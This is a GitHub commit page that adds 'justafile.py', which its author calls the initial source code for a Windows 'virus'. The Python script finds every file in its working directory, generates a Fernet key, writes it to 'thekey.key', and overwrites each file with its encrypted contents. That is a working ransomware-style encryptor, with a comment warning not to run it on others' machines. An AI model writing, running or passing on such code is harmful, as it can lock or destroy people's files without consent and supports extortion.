Skip to content

Commit 949afce

Browse files
authored
Initial Source code for the virus
We gonna use justafile as the name of the virus
1 parent 072b839 commit 949afce

File tree

1 file changed

+29
-0
lines changed

1 file changed

+29
-0
lines changed

justafile.py

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# Windows virus with python
2+
# WARNING : THIS CODE IS NOT MEANT TO BE RUN ON HARDWARE THAT YOU DON'T HAVE ACCESS TO SO PLEASE DON'T DO IT ON YOUR FRIENDS COMPUTER, YOU CAN GET SUED FOR IT ! YOU HAVE BEEN WARNED !
3+
# No copyright file.
4+
# Find file to infect
5+
6+
import os
7+
from cryptography.fernet import Fernet
8+
9+
files = []
10+
11+
for file in os.listdir():
12+
if file == "justafile.py" or file == "thekey.key":
13+
continue
14+
if os.path.isfile(file):
15+
files.append(file)
16+
17+
print(files)
18+
19+
key = Fernet.generate_key()
20+
21+
with open("thekey.key", "wb") as thekey:
22+
thekey.write(key)
23+
24+
for file in files:
25+
with open(file, "rb") as thefile:
26+
contents = thefile.read()
27+
contents_encrypted = Fernet(key).encrypt(contents)
28+
with open(file, "wb") as thefile:
29+
thefile.write(contents_encrypted)

0 commit comments

Comments
 (0)